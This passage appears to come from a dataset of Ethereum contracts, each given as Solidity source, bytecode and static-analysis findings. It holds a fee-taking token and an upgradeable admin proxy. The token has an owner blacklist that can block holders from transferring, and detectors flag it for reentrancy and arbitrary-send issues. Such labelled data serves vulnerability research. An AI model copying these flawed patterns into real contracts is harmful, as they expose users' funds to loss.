_tTotal.div(50); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 5; _feeAddr2 = 0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 5; _feeAddr2 = 0; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner{ for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102cc578063c3c8cd80146102ec578063c9567bf914610301578063dd62ed3e14610316578063e9e1831a1461035c57600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102ac57600080fd5b8063273123b7116100d1578063273123b7146101c9578063313ce567146101eb5780636fc3eaec1461020757806370a082311461021c57600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a10da1d5c98da0810dd5b1d60aa1b60208201525b60405161014b919061150a565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611584565b610371565b604051901515815260200161014b565b34801561019057600080fd5b5067016345785d8a00005b60405190815260200161014b565b3480156101b557600080fd5b506101746101c43660046115b0565b610388565b3480156101d557600080fd5b506101e96101e43660046115f1565b6103f1565b005b3480156101f757600080fd5b506040516009815260200161014b565b34801561021357600080fd5b506101e9610445565b34801561022857600080fd5b5061019b6102373660046115f1565b610452565b34801561024857600080fd5b506101e9610474565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161014b565b34801561028557600080fd5b5060408051808201909152600a81526910d2155490d210d5531560b21b602082015261013e565b3480156102b857600080fd5b506101746102c7366004611584565b6104e8565b3480156102d857600080fd5b506101e96102e7366004611624565b6104f5565b3480156102f857600080fd5b506101e9610649565b34801561030d57600080fd5b506101e961065f565b34801561032257600080fd5b5061019b6103313660046116e9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036857600080fd5b506101e9610886565b600061037e338484610a4a565b5060015b92915050565b6000610395848484610b6e565b6103e784336103e2856040518060600160405280602881526020016118eb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e79565b610a4a565b5060019392505050565b6000546001600160a01b031633146104245760405162461bcd60e51b815260040161041b90611722565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b4761044f81610eb3565b50565b6001600160a01b03811660009081526002602052604081205461038290610eed565b6000546001600160a01b0316331461049e5760405162461bcd60e51b815260040161041b90611722565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037e338484610b6e565b6000546001600160a01b0316331461051f5760405162461bcd60e51b815260040161041b90611722565b60005b815181101561064557600c5482516001600160a01b039091169083908390811061054e5761054e611757565b60200260200101516001600160a01b03161415801561059f5750600d5482516001600160a01b039091169083908390811061058b5761058b611757565b60200260200101516001600160a01b031614155b80156105d65750306001600160a01b03168282815181106105c2576105c2611757565b60200260200101516001600160a01b031614155b15610633576001600660008484815181106105f3576105f3611757565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061063d81611783565b915050610522565b5050565b600061065430610452565b905061044f81610f6a565b6000546001600160a01b031633146106895760405162461bcd60e51b815260040161041b90611722565b600d54600160a01b900460ff16156106e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041b565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f308267016345785d8a0000610a4a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610781919061179c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f2919061179c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561083f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610863919061179c565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161041b90611722565b600c546001600160a01b031663f305d71947306108cc81610452565b6000806108e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610949573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096e91906117b9565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044f91906117e7565b6000610a4383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e4565b9392505050565b6001600160a01b038316610aac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041b565b6001600160a01b038216610b0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041b565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041b565b60008111610c965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041b565b6001600160a01b03831660009081526006602052604090205460ff16158015610cd857506001600160a01b03821660009081526006602052604090205460ff16155b610ce157600080fd5b60056009556000600a55610cfd6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d2c57506000546001600160a01b03838116911614155b15610e6957600d546001600160a01b038481169116148015610d5c5750600c546001600160a01b03838116911614155b8015610d8157506001600160a01b03821660009081526005602052604090205460ff16155b15610d9557600e54811115610d9557600080fd5b600c546001600160a01b03848116911614801590610dcc57506001600160a01b03831660009081526005602052604090205460ff16155b15610df257600d546001600160a01b0390811690831603610df25760056009556000600a555b6000610dfd30610452565b600d54909150600160a81b900460ff16158015610e285750600d546001600160a01b03858116911614155b8015610e3d5750600d54600160b01b900460ff165b15610e6757610e4b81610f6a565b476706f05b59d3b20000811115610e6557610e6547610eb3565b505b505b610e74838383611112565b505050565b60008184841115610e9d5760405162461bcd60e51b815260040161041b919061150a565b506000610eaa8486611809565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610645573d6000803e3d6000fd5b6000600754821115610f545760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041b565b6000610f5e61111d565b9050610a438382610a01565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fb257610fb2611757565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f919061179c565b8160018151811061104257611042611757565b6001600160a01b039283166020918202929092010152600c546110689130911684610a4a565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a1908590600090869030904290600401611820565b600060405180830381600087803b1580156110bb57600080fd5b505af11580156110cf573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600081836111055760405162461bcd60e51b815260040161041b919061150a565b506000610eaa8486611891565b610e74838383611140565b600080600061112a611237565b90925090506111398282610a01565b9250505090565b60008060008060008061115287611277565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061118490876112d4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111b39086611316565b6001600160a01b0389166000908152600260205260409020556111d581611375565b6111df84836113bf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122491815260200190565b60405180910390a3505050505050505050565b600754600090819067016345785d8a00006112528282610a01565b82101561126e5750506007549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006112948a600954600a546113e3565b92509250925060006112a461111d565b905060008060006112b78e878787611438565b919e509c509a509598509396509194505050505091939550919395565b6000610a4383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e79565b60008061132383856118b3565b905083811015610a435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041b565b600061137f61111d565b9050600061138d8383611488565b306000908152600260205260409020549091506113aa9082611316565b30600090815260026020526040902055505050565b6007546113cc90836112d4565b6007556008546113dc9082611316565b6008555050565b60008080806113fd60646113f78989611488565b90610a01565b9050600061141060646113f78a89611488565b90506000611428826114228b866112d4565b906112d4565b9992985090965090945050505050565b60008080806114478886611488565b905060006114558887611488565b905060006114638888611488565b905060006114758261142286866112d4565b939b939a50919850919650505050505050565b60008260000361149a57506000610382565b60006114a683856118cb565b9050826114b38583611891565b14610a435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041b565b600060208083528351808285015260005b818110156115375785810183015185820160400152820161151b565b81811115611549576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044f57600080fd5b803561157f8161155f565b919050565b6000806040838503121561159757600080fd5b82356115a28161155f565b946020939093013593505050565b6000806000606084860312156115c557600080fd5b83356115d08161155f565b925060208401356115e08161155f565b929592945050506040919091013590565b60006020828403121561160357600080fd5b8135610a438161155f565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561163757600080fd5b823567ffffffffffffffff8082111561164f57600080fd5b818501915085601f83011261166357600080fd5b8135818111156116755761167561160e565b8060051b604051601f19603f8301168101818110858211171561169a5761169a61160e565b6040529182528482019250838101850191888311156116b857600080fd5b938501935b828510156116dd576116ce85611574565b845293850193928501926116bd565b98975050505050505050565b600080604083850312156116fc57600080fd5b82356117078161155f565b915060208301356117178161155f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117955761179561176d565b5060010190565b6000602082840312156117ae57600080fd5b8151610a438161155f565b6000806000606084860312156117ce57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117f957600080fd5b81518015158114610a4357600080fd5b60008282101561181b5761181b61176d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118705784516001600160a01b03168352938301939183019160010161184b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118ae57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c6576118c661176d565b500190565b60008160001904831182151516156118e5576118e561176d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220929074ab1b9b7042db5fcc2b2b1d31bd6e65ee02caeee28c59ba34c2a81e76b764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,485
0xd897b5458afe7e2dc26d94ec33cf7d09a9158568
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffff